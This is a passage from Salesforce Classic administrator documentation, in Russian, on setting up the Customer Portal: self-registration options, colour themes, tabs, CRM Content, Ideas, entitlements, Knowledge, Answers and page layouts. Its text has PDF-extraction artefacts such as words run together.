• Новый пользователь: данное уведомление
информирует пользователя о несоответствии
отправленного адреса эл. почты текущему контакту
организации. Еслиорганизацияиспользуетфункцию
Web-to-Case или Web-to-Lead для сбора сведений о
новых пользователях, то данное уведомление
содержит ссылку на соответствующуюформу для
ввода данных.

• Внутренняя ошибка: данное уведомление
информируетпользователяовозникновенииошибки
самостоятельной регистрации, переданной
администратору портала.

• Недействительныйпользователь: данноеуведомление
информирует пользователя о недоступности
самостоятельнойрегистрациинаклиентскомпортале.
Данное уведомление отправляется в том случае, если
введенный адрес эл. почты соответствует контакту,
запись которого не помечена флажком «Разрешить
самостоятельную регистрацию на клиентском
портале». Кроме того, данное уведомление
отправляется в том случае, если введенный адрес эл.
почты не соответствует контактам, а организация не
используетфункцию Web-to-Lead или Web-to-Case для
сбора сведений о новых пользователях.

Убедитесь, что все обязательные настраиваемые поля
пользователей содержат стандартные значения. В
противном случае, пользователям, регистрирующимся
на клиентском портале самостоятельно, будет
отображаться сообщение об ошибке.

Обратитевнимание, чтопользователяморганизаций-лиц
недоступна самостоятельная регистрацияна клиентском
портале. Пользователиорганизаций-лиц, попытавшиеся
самостоятельно зарегистрироваться на клиентском
портале, получаютэлектронноеуведомлениеспросьбой
обратиться к администратору портала.

Данный параметр позволяет указать URL-адрес формы
Web-to-Lead или Web-to-Case для пользователей, которые
самостоятельнорегистрируютсяна клиентскомпортале.

Данная форма позволяет собирать и преобразовывать
сведения в запись контакта, поэтому ее URL-адрес

URL-адрес формы нового пользователя

отображается посредствомшаблона, выбранного в поле
«Шаблон ошибки регистрации» для отправки
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Параметры самостоятельной регистрации

ОписаниеПараметр

саморегистрирующимся пользователям, которые не
соответствуют текущим записям контактов.

Шаблонэл. почты, отправляемыйпользователям, которые
самостоятельнорегистрируютсяна клиентскомпортале,

Шаблон ошибки регистрации

но сталкиваются с ошибками регистрации или должны
заполнить форму Web-to-Case или Web-to-Lead. По
умолчаниюобразецшаблонавыбирается автоматически.
При необходимости создайте собственныйшаблон или
измените образецшаблона. Пометьтешаблонфлажком
«Доступно для использования».

Поля «Адрес эл. почты отправителя» и «Имя эл.
почты отправителя» в параметрах клиентского портала
определяют отправителя данного шаблона.

Чтобы выбрать стандартную лицензию пользователя
портала для пользователей, которые самостоятельно

Стандартная лицензия нового пользователя

регистрируютсянаклиентскомпортале, щелкнитезначок

поиска ( ).

Чтобы выбрать стандартную роль портала для
пользователей, которыесамостоятельнорегистрируются

на клиентском портале, щелкните значок поиска ( ).

Стандартная роль нового пользователя

Чтобы выбрать стандартный профиль портала для
пользователей, которыесамостоятельнорегистрируются

на клиентском портале, щелкните значок поиска ( ).

Профиль, выбранный в качестве стандартного профиля
портала, не может быть удален.

Стандартный профиль нового пользователя

4. Чтобы сохранить параметры клиентского портала, нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка клиентского портала
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Настройка шрифтов и цветов клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения шрифтов и
цветов клиентского портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Фирменный стиль компанииможет быть сохраненпутемнастройкишрифтов и цветов
клиентского портала Salesforce. Цветовая тема портала определяет шрифты и цвета,
используемые на портале. Выберите предопределенную цветовую тему и при
необходимости настройте ее в соответствии с фирменным стилем компании. Чтобы
просмотреть все атрибуты темы, доступные для настройки, щелкните ссылку «См.
примеры».

1. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры клиентского портала».

2. Выберите имя нужного клиентского портала.

3. Нажмите кнопку «Изменитьшрифты и цвета портала».

4. Выберите нужную цветовую тему в раскрывающемся списке «Цветовая тема». Чтобы создать собственную тему,
выберите значение «Настраиваемая» в раскрывающемся списке «Цветовая тема». Выбранная цветовая тема
автоматически отображается в разделе «Предварительный просмотр».

5. При необходимости настройте цвет любой выбранной темы.

• Введите шестнадцатеричное значение в любой атрибут темы.

• Щелкните шестнадцатеричное значение любого атрибута темы и выберите нужный цвет посредством
интерактивного редактора.

Присохранениинастроенной теме автоматическиназначается имя «Настраиваемая». Нижеперечисленыпараметры,
доступные для настройки, которые автоматически отображаются в разделах «Предварительный просмотр».

Стили вкладки

ОписаниеАтрибут темы

Цвет текста выбранной вкладки.Текст текущей вкладки

Цвет фона выбранной вкладки.Фон текущей вкладки

Цвет границы выбранной вкладки.Граница текущей вкладки

Цвет текста неактивных вкладок.Текст другой вкладки

Цвет фона неактивных вкладок.Фон другой вкладки

Цвет границы неактивных вкладок.Граница другой вкладки

Цвет фона позади всех вкладок.Фон панели вкладки
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Стили страницы

ОписаниеАтрибут темы

Цвет фона портала, кроме полей поиска, связанных
списков, недавних элементов, категорийрешений, папок
документов и раскрывающегося списка «Создать...».

Фон страницы

Цвет, размеришрифттекстадля всех элементовпортала,
кроме вкладок, кнопок, верхних колонтитулов и меток
полей.

Чтобы увеличить или уменьшить размер всех элементов
портала, измените значение в поле процентов. При

Текст

необходимостиизменитешрифтвсехэлементовпортала,
кроме вкладок, кнопок, верхних колонтитулов и меток
полей, посредством раскрывающегося списка.

Цвет текста для имен полей в записях.

Принеобходимостиизменитешрифттекстапосредством
раскрывающегося списка.

Текст метки поля

Цвет текста для всех ссылок.Ссылка

Цвет текста для всех ссылок, отображающихся при
наведении указателя мыши.

Всплывающая ссылка

Цвет линий, разделяющих поля в записях.Разделитель полей

Цвет нижней границы портала.Нижняя граница

Стили раздела

ОписаниеАтрибут темы

Цветфонадлявсехверхнихколонтитулов, включаяполя
поиска, недавниеэлементы, связанныесписки, категории
решений, папки документов и выбранную вкладку.

Фон заголовка

Цвет и шрифт текста для верхних колонтитулов полей
поиска, связанныхсписков, недавнихэлементов, категорий
решений и папок документов.

Принеобходимостиизменитешрифттекстапосредством
раскрывающегося списка.

Текст заголовка раздела

Граница слева от полей поиска, связанных списков,
недавних элементов, категорий решений, папок
документов и раскрывающегося списка «Создать...».

Чтобы увеличить или уменьшить толщину границы,
измените значениевполепикселов. Принеобходимости

Левая граница
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Стили раздела

ОписаниеАтрибут темы

выберите стиль линии, используемой для отображения
границы, посредством раскрывающегося списка.

Граница справа от полей поиска, связанных списков,
недавних элементов, категорий решений, папок
документов и раскрывающегося списка «Создать...».

Чтобы увеличить или уменьшить толщину границы,
измените значениевполепикселов. Принеобходимости

Правая граница

выберите стиль линии, используемой для отображения
границы, посредством раскрывающегося списка.

Граница над полями поиска, связанными списками,
недавними элементами, категориями решений, папками
документов и раскрывающимся списком «Создать...».

Чтобы увеличить или уменьшить толщину границы,
измените значениевполепикселов. Принеобходимости

Верхняя граница

выберите стиль линии, используемой для отображения
границы, посредством раскрывающегося списка.

Граница под полями поиска, связанными списками,
недавними элементами, категориями решений, папками
документов и раскрывающимся списком «Создать...».

Чтобы увеличить или уменьшить толщину границы,
измените значениевполепикселов. Принеобходимости

Нижняя граница

выберите стиль линии, используемой для отображения
границы, посредством раскрывающегося списка.

Цветфонадляполейпоиска, связанныхсписков, недавних
элементов, категорий решений, папок документов и
раскрывающегося списка «Создать...».

Фон раздела

Стили списка

ОписаниеАтрибут темы

Цвет текста для имен полей, выбранных в качестве
заголовков столбцов в списковых представлениях.

Принеобходимостиизменитешрифттекстапосредством
раскрывающегося списка.

Текст заголовка списка

Цвет линий под заголовками столбцов в связанных
списках и списковых представлениях.

Подчеркивание заголовка

Цветлиниймеждузаписямивсписковыхпредставлениях.Разделитель
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Стили списка

ОписаниеАтрибут темы

Цвет записи, выбранной пользователем в списковом
представлении.

Выделение строки

6. Чтобы сохранить все внесенные изменения, нажмите кнопку «Сохранить».

Совет: Изменения отображаются пользователям клиентского портала после обновления обозревателя.
Рекомендуем обновлять цветовую тему в непиковые часы использования клиентского портала.

Прим.: Дополнительную информацию о настройке верхнего колонтитула, нижнего колонтитула и логотипа
клиентского портала см. в разделе «Включение входа и параметров клиентского портала» на странице 2655.

СМ. ТАКЖЕ:

Настройка клиентского портала

Настройка вкладок клиентского портала

Настройка вкладок клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки вкладок
клиентского портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Нижеперечисленывкладки, которыемогутотображатьсянаклиентскомпорталеSalesforce.

• Ответы

• Статьи

• Идеи

• Начальная страница

• Обращения

• Отчеты

• Решения

• Веб-вкладки

• Права

• Настраиваемые объекты

• Сервисные контракты

• Chatter Answers

• Документы на вкладке «Документы»
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• Вкладки Salesforce CRM Content: «Библиотеки», «Содержимое» и «Подписки»

Кроме того, ниже перечислены вкладки клиентского портала, которые могут отображаться делегированным
администраторам внешних пользователей.

• Организации

• Контакты

Чтобы выбрать вкладки, которые должны отображаться пользователям при входе на клиентский портал, и определить
порядок их отображения, выполните указанные ниже действия.

1. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Параметры клиентского портала».

2. Выберите имя нужного клиентского портала.

3. Щелкните «Настроить вкладки портала».

4. Чтобыдобавитьилиудалитьвкладки, выберитенужнуювкладкувполе «Доступныевкладки» или «Выбранныевкладки»
и нажмите кнопку «Добавить» или «Удалить». Чтобы изменить порядок отображения вкладок, выберите нужную
вкладку в поле «Выбранные вкладки» и нажмите кнопку «Вверх» или «Вниз».

5. При необходимости выберите вкладку, которая должна отображаться пользователям при входе на портал, в
раскрывающемся списке «Стандартная целевая вкладка».

6. Нажмите кнопку «Сохранить».

Чтобы выбрать вкладки, доступные пользователям, измените параметры вкладок в связанных профилях и наборах
полномочий.

Совет: При необходимости создайте несколько клиентских порталов, отображающих разные вкладки для
пользователей с одинаковым профилем, при условии, что пользователям доступны все объекты, отображаемые на
вкладке.

Чтобы разрешить доступность вкладок на клиентском портале, выполните перечисленные выше действия и выберите
значение «Включены стандартные параметры» для параметров доступности вкладки во всех профилях клиентского
портала.

Разрешение пользователям портала просмотра веб-вкладок

Чтобы разрешить пользователям портала просмотр веб-вкладок, создайте веб-вкладки и назначьте их профилям
клиентского портала.

Предоставление пользователям портала доступа ко вкладке «Документы»

Чтобы разрешить пользователям портала просмотр вкладки «Документы», предоставьте пользователям клиентского
портала доступ к нужным папкам на вкладке «Документы» системы Salesforce.

Разрешение пользователям портала просмотра вкладки «Отчеты»

Чтобы разрешить пользователям портала просмотр вкладки «Отчеты», выполните указанные ниже действия.

1. Предоставьте пользователям портала доступ к нужным папкам на вкладке «Отчеты» системы Salesforce.

2. Выберите значение «Личный» для единых стандартных параметров общего доступа к объектам, которые должны
использоваться для составления отчетов.

3. Назначьте пользователям портала наборы полномочий или профили, содержащие полномочие «Запуск отчетов».
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При добавлении вкладки «Отчеты» на клиентский портал пользователи портала:

• не могут настраивать отчеты или фильтровать результаты отчетов, но могут запускать отчеты.

• могут экспортировать отчеты в Excel при наличии полномочия «Экспорт отчетов».

• не могут просматривать папки «Изъятые общедоступные отчеты» и «Мои личные настраиваемые отчеты».

• получают сообщение об отсутствии полномочий, необходимых для запуска отчета, содержащего недоступные
объекты.

Предоставление пользователям портала доступа ко вкладке «Идеи»

Чтобы предоставить пользователям портала доступ ко вкладке «Идеи», настройте сообщество «Идеи» для отображения
напортале. Дополнительнуюинформациюсм. вразделах «Созданиеиредактированиезон»настранице2748и «Включение
сообщества "Идеи" на клиентском портале» на странице 2671.

Если организация использует лицензию Ideas and Answers Portal, скройте вкладку «Отчеты» на клиентском портале. В
противном случае при открытии вкладки «Отчеты» пользователям клиентского портала отображается сообщение
«Недостаточно полномочий». Дополнительную информацию о сокрытии вкладок см. в разделе «Настройка вкладок
клиентского портала» на странице 2666.

Предоставление пользователям портала доступа ко вкладкам Salesforce CRM Content

Дополнительную информацию о предоставлении пользователям портала доступа к Salesforce CRM Content см. в разделе
«Включение Salesforce CRM Content на клиентском портале» на странице 2668.

СМ. ТАКЖЕ:

Настройка клиентского портала

Включение Salesforce CRM Content на клиентском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для настройки и обновления клиентского
портала:

«Управление профилями и наборами
полномочий»

Для создания и редактирования профилей:

«Редактирование пользователей портала
самообслуживания»

Для управленияпользователями клиентского
портала:

«Управление Salesforce CRM Content» ИЛИ

«Управление полномочиями содержимого»

Для создания полномочий библиотеки
Salesforce CRM Content:

«Управление Salesforce CRM Content»

ИЛИ

Для добавления пользователей в библиотеку
Salesforce CRM Content:

Флажок «Управление библиотеками»,
установленный в определении полномочий
библиотеки
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Прим.: Начиная с выпуска Summer'13 клиентскийпорталнедоступендляновыхорганизаций. Текущиеорганизации
могут использовать клиентский портал в обычном режиме. При отсутствии клиентского портала общий доступ к
данным может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить использование собственных
клиентских порталов или выбрать использование сообществ. Дополнительную информацию можно получить у
менеджера по работе с клиентами Salesforce.

Приложение Salesforce CRM Content доступно на клиентском портале. Пользователи клиентского портала могут иметь
два уровня доступа к приложению Salesforce CRM Content.

• ПользователипорталабезлицензииSalesforce CRM Contentмогутзагружать, оценивать, комментироватьиподписываться
на содержимое только при наличии полномочия «Просмотр содержимого на порталах». Пользователи не могут
просматриватьконфиденциальныеданные (например, именапользователейижурнал загрузок, версийилиподписок).
Функция доставки содержимого недоступна пользователям портала.

• Пользователи портала с лицензией Salesforce CRM Content могут использовать все функции Salesforce CRM Content,
предоставленныесоответствующимиполномочиямибиблиотеки, включаядобавление, перемещение, общийдоступ
и удаление содержимого из библиотек. Кроме того, они могут просматривать отчеты Salesforce CRM Content. Функция
доставки содержимого недоступна пользователям портала.

Включение Salesforce CRM Content длянелицензированныхпользователей

Чтобывключить Salesforce CRM Contentнапорталах, включитеклиентскийпорталивыполните указанныенижедействия.
Ниже перечислены действия, предназначенные для нелицензированных пользователей Salesforce CRM Content.

1. Обновите профили клиентского портала.

a. Клонируйте профиль «Пользователь клиентского портала» или «Менеджер клиентского портала».

b. Добавьте полномочие «Просмотр содержимого на порталах» в клонированные профили.

c. Измените доступность вкладок «Библиотеки», «Содержимое» и «Подписки» со значения «Вкладка скрыта» на
значение «Включены стандартные параметры».

d. Назначьте клонированные профили пользователям клиентского портала.

2. Чтобы определить полномочия пользователей портала в каждой библиотеке Salesforce CRM Content, создайте как
минимум одно полномочие библиотеки.

Прим.: Полномочиебиблиотекиможетпредоставитьтолькопривилегии, разрешенныелицензиейнакомпонент
или профилем пользователя. Например, полномочие библиотеки «Присвоить тег содержимому» позволяет
присваивать теги содержимому только пользователям портала с лицензией Salesforce CRM Content.

3. Определитебиблиотеки, которыедолжныбытьдоступныпользователямпортала. Убедитесь, чтоданныебиблиотеки
не содержат конфиденциальных данных.

4. Добавьте пользователей портала в библиотеки. Пользователи портала с профилем «Пользователь клиентского
портала»или его копиеймогут быть добавленывбиблиотеку только в составе общедоступной группы. Пользователи
портала с профилем «Менеджер клиентского портала» или его копией могут быть добавлены в библиотеку по
отдельности.

5. Добавьте вкладки Salesforce CRM Content на каждый клиентский портал.

Прим.: Вкладка «Документы» не является частью Salesforce CRM Content.
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Включение Salesforce CRM Content для лицензированныхпользователей

Чтобывключить Salesforce CRM Contentнапорталах, включитеклиентскийпорталивыполните указанныенижедействия.
Ниже перечислены действия, предназначенные для лицензированных пользователей Salesforce CRM Content.

1. Обновите профили клиентского портала.

a. Чтобы разрешить пользователям портала создавать библиотеки и управлять ими, клонируйте профили
«Пользователь клиентскогопортала»и «Менеджерклиентскогопортала», а затемдобавьтеполномочие «Создание
библиотек».

b. Встандартныхиликлонированныхпрофиляхклиентскогопорталаизменитедоступность вкладок «Библиотеки»,
«Содержимое» и «Подписки» со значения «Вкладка скрыта» на значение «Включены стандартные параметры».

c. При необходимости назначьте клонированные профили пользователям клиентского портала.

2. Установите флажок «Пользователь Salesforce CRM Content» на странице сведений о каждом пользователе
клиентского портала.

3. Чтобы определить полномочия пользователей портала в каждой библиотеке Salesforce CRM Content, создайте как
минимум одно полномочие библиотеки.

Прим.: Полномочиебиблиотекиможетпредоставитьтолькопривилегии, разрешенныелицензиейнакомпонент
или профилем пользователя. Например, полномочие библиотеки «Присвоить тег содержимому» позволяет
присваивать теги содержимому только пользователям портала с лицензией Salesforce CRM Content.

4. Определитебиблиотеки, которыедолжныбытьдоступныпользователямпортала. Убедитесь, чтоданныебиблиотеки
не содержат конфиденциальных данных.

5. Добавьте пользователей портала в библиотеки. Пользователи портала с профилем «Пользователь клиентского
портала»или его копиеймогут быть добавленывбиблиотеку только в составе общедоступной группы. Пользователи
портала с профилем «Менеджер клиентского портала» или его копией могут быть добавлены в библиотеку по
отдельности.

6. Добавьте вкладки Salesforce CRM Content на каждый клиентский портал.

Прим.: Вкладка «Документы» не является частью Salesforce CRM Content.

СМ. ТАКЖЕ:

Настройка клиентского портала
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Включение сообщества «Идеи» на клиентском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки и
обновления клиентского
портала:
• «Настройка

приложения»

Для создания и
редактирования профилей:
• «Управление

профилями и наборами
полномочий»

Для настройки сообщества
«Идеи»:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Сообщество «Идеи» доступно на клиентском портале.

Чтобы включить сообщество «Идеи» на портале, настройте клиентский портал и
выполните указанные ниже действия.

1. Создайте зоны в сообществе «Идеи», активные и доступные для отображения на
портале. Дополнительнуюинформациюсм. в разделе «Создание и редактирование
зон» на странице 2748.

2. Добавьте вкладку «Идеи»на клиентскийпортал. Дополнительнуюинформациюсм.
в разделе «Настройка вкладок клиентского портала» на странице 2666.

3. Если организация использует лицензию Ideas and Answers Portal, скройте вкладку
«Отчеты» на клиентском портале. В противном случае при открытии вкладки
«Отчеты» пользователям клиентского портала отображается сообщение
«Недостаточно полномочий». Дополнительнуюинформацию о сокрытии вкладок
см. в разделе «Настройка вкладок клиентского портала» на странице 2666.

СМ. ТАКЖЕ:

Настройка клиентского портала
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Включение функции управления правами на клиентском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки и
обновления клиентского
портала:
• «Настройка

приложения»

Для создания и
редактирования профилей:
• «Управление

пользователями»

Для управления
пользователямиклиентского
портала:
• «Редактирование

пользователей портала
самообслуживания»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Клиентскийпорталпозволяет предоставлять клиентам доступ к ихправами сервисным
контрактам. Элементы строки контракта не отображаются на клиентском портале.

Прим.: Сервисные контракты и права недоступны пользователям массового
клиентского портала.

Чтобы добавить функцию управления правами на порталы, настройте функцию
управления правами и включите поддержку клиентского портала, а затем выполните
указанные ниже действия.

1. Обновите профили клиентского портала.

a. Клонируйте профили клиентского портала и включите полномочие «Чтение»
для прав или сервисных контрактов.

b. При необходимости включите полномочия «Создание» и «Удаление» для
контактов права в профилях делегированных администраторов внешних
пользователей. Данное действие позволяет делегированным администраторам
внешних пользователей обновлять контакты права.

c. Убедитесь, что доступности вкладки «Права» или «Сервисные контракты» в
клонированныхпрофиляхзаданозначение «Включеныстандартныепараметры».

2. Нажмите кнопку «Редактировать профили» в нижней части страницы сведений
о клиентском портале и активируйте новые профили.

3. Чтобы добавить поле поиска «Имя права», настройте макеты страниц обращений.
Данное действие позволяет пользователям портала добавлять права в обращения.

Совет: Рекомендуемнедобавлятьследующиеполяпроцессаправавмакетыстраницобращенийдляпользователей
портала, потомучтоинформация, связанная с внутреннимипроцессамиподдержки, должнабытьимнедоступна:
«Время начала процесса права», «Время окончания процесса права», «Остановлено» и «Дата остановки».

4. Чтобы добавить права, настройте связанные списки организаций и контактов. Данное действие позволяет
делегированнымадминистраторамвнешнихпользователейсоздаватьобращения, которыеавтоматическисвязываются
с нужными правами.

5. Добавьте вкладку «Права» или «Сервисные контракты» на каждый клиентский портал.

6. Назначьте клонированные профили пользователям клиентского портала.

a. Чтобы создать пользователя клиентского портала, нажмите кнопку «Управление внешнимпользователем» на
странице сведенийо контакте и выберите пункт «Включитьпользователя-клиента». Чтобыобновить текущего
пользователя, нажмите кнопку «Управление внешним пользователем» и выберите пункт «Просмотр
пользователя-клиента».
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b. При создании пользователя выберите клонированный профиль в раскрывающемся меню «Профиль». При
обновлении пользователя нажмите кнопку «Правка» и выберите нужный профиль.

c. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка клиентского портала

Включение Salesforce Knowledge на клиентском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки и
обновления клиентского
портала:
• «Настройка

приложения»

Для создания и
редактирования профилей:
• «Управление

профилями и наборами
полномочий»

Для управления
пользователямиклиентского
портала:
• «Редактирование

пользователей портала
самообслуживания»

Для просмотра статей
Salesforce Knowledge:
• «Чтение» для типа

статьи

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Клиентский портал позволяет предоставлять клиентам доступ к статьям Salesforce
Knowledge. Пользователи портала могут просматривать и оценивать статьи, но не могут
создавать или редактировать их.

Чтобы включить Salesforce Knowledge на порталах, настройте Salesforce Knowledge в
организации, включите клиентский портал и выполните указанные ниже действия.

1. Обновите профили клиентского портала.

a. Клонируйте профиль «Пользователь клиентского портала» или «Менеджер
клиентскогопортала»ивключитеполномочие «Чтение» длятиповстатей, которые
должны быть доступны клиентам.

b. Убедитесь, чтодоступностивкладки «Статьи» в клонированныхпрофиляхзадано
значение «Включены стандартные параметры».

2. Нажмите кнопку «Редактировать профили» в нижней части страницы сведений
о клиентском портале и активируйте новый профиль.

3. Назначьте клонированные профили пользователям клиентского портала.

a. Чтобысоздатьпользователяклиентскогопортала, нажмитекнопку «Управление
внешним пользователем» на странице сведений о контакте и выберите пункт
«Включить пользователя-клиента». Чтобы обновить текущего пользователя,
нажмитекнопку «Управлениевнешнимпользователем»настраницесведений
о контакте и выберите пункт «Просмотр пользователя-клиента».

b. При создании пользователя выберите клонированный профиль в
раскрывающемся меню «Профиль». При обновлении пользователя нажмите
кнопку «Правка» и выберите нужный профиль.

c. Нажмите кнопку «Сохранить».

4. Добавьте вкладку «Статьи» на каждый клиентский портал.
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5. Чтобы назначить пользователям клиентского портала параметры доступности группы категорий, отличные от
параметровответственногозаорганизацию, изменитепараметрыдоступностидляпользователяклиентскогопортала.

По умолчанию пользователи клиентского портала наследуют доступные им категории данных от ответственного за
организацию. Например, если ответственному за организацию назначена роль генерального директора, которой
предоставлен полный доступ ко всем категориям данных в группе категорий, то пользователям клиентского портала
также могут быть доступны все категории данной группы. В некоторых случаях категории, доступные пользователю
клиентского портала, могут быть ограничены.

6. При необходимости предоставьте пользователям массового портала доступ к категориям данных по умолчанию.
Пользователимассового портала не имеют ролей, поэтому могут просматривать только категоризированные статьи,
если связанные категории данных доступны всем пользователям независимо от их ролей.

7. Уведомите пользователей, создающих статьи, о необходимости выбора канала «Клиентскийпортал»при создании
или изменении статьи. В противном случае статья не будет опубликована на клиентском портале.

8. Чтобыразрешитьпользователямпоиск статейна вкладке «Начальная страница», добавьте компонент «Поиск статей»
в макет начальной страницы. Убедитесь, что макет назначен профилям клиентского портала.

СМ. ТАКЖЕ:

Настройка клиентского портала
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Включение ответов на клиентском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки и
обновления клиентского
портала:
• «Настройка

приложения»

Для создания и
редактирования профилей:
• «Управление

профилями и наборами
полномочий»

Для создания сообщества
ответов:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Клиентский портал позволяет предоставлять клиентам доступ к сообществу ответов.

Чтобы включитьфункцию «Ответы» на портале, выполните указанные ниже действия.

1. Настройте клиентский портал.

Ниже перечислены поддерживаемые изменения при настройке шрифтов и цветов
портала.

• Все стили вкладки

• Следующие стили страницы:

– Фон страницы

– Текст

– Ссылка

– Всплывающая ссылка

2. Настройте ответыи убедитесь, что сообщество ответов настроено для отображения
на клиентском портале.

3. Добавьте вкладку «Ответы» на клиентский портал.

4. Создайте пользователей клиентского портала.

a. Нажмитекнопку«Управлениевнешнимпользователем»настраницесведений
о контакте и выберите пункт «Включить пользователя-клиента».

b. Введите обязательные данные и выберите нужный профиль клиентского портала в раскрывающемся меню
«Профиль».

c. Нажмите кнопку «Сохранить».

5. Чтобы назначить пользователям клиентского портала параметры доступности группы категорий, отличные от
параметровответственногозаорганизацию, изменитепараметрыдоступностидляпользователяклиентскогопортала.

По умолчанию пользователи клиентского портала наследуют доступные им категории от ответственного за
организацию. Например, если ответственному за организацию назначена роль генерального директора, которой
предоставленполныйдоступ ко всем категориям данных в группе категорий, назначеннойответам, то пользователям
клиентскогопортала такжемогут быть доступнывсе категориив сообществеответов. Внекоторыхслучаях категории,
доступные пользователю клиентского портала, могут быть ограничены.

6. Принеобходимостипредоставьтепользователяммассовогопорталадоступккатегориямданныхпосредствомнаборов
полномочий или профилей.

7. Если организация использует лицензию Ideas and Answers Portal, скройте вкладку «Отчеты» на клиентском портале.
В противном случае при открытии вкладки «Отчеты» пользователям клиентского портала отображается сообщение
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«Недостаточнополномочий». Дополнительнуюинформациюо сокрытии вкладок см. в разделе «Настройка вкладок
клиентского портала» на странице 2666.

СМ. ТАКЖЕ:

Настройка клиентского портала

Настройка страниц клиентского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения макетов
страниц:
• «Настройка

приложения»

Для назначения макетов
страниц профилям:
• «Управление

профилями и наборами
полномочий»

Прим.: Начиная с выпуска Summer'13 клиентский портал недоступен для новых
организаций. Текущие организации могут использовать клиентский портал в
обычном режиме. При отсутствии клиентского портала общий доступ к данным
может быть предоставлен клиентам посредством сообществ.

Текущие организации, поддерживающие клиентские порталы, могут продолжить
использование собственных клиентских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Страницы клиентского портала Salesforce могут быть настроены так же, как страницы
Salesforce: посредством макетов страниц.

Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce, custom
links, and related lists on object record pages. They also help determine which fields are visible,
read only, and required. Page layouts can include s-controls and Visualforce pages that are rendered
within a field section when the page displays. Пользователи могут контролировать размер
элементов S-Control истраницVisualforce, а такжеопределятьнеобходимостьотображения
меток и полос прокрутки.

Макеты, назначенные профилям пользователей клиентского портала, отображаются
при входе пользователей на клиентский портал. Ниже перечислены объекты,
поддерживающие настройку макетов страниц для портала.

• Начальная страница

• Задачи

• События

• Обращения

• Активы

• Организации

• Решения

• Контакты

• Права

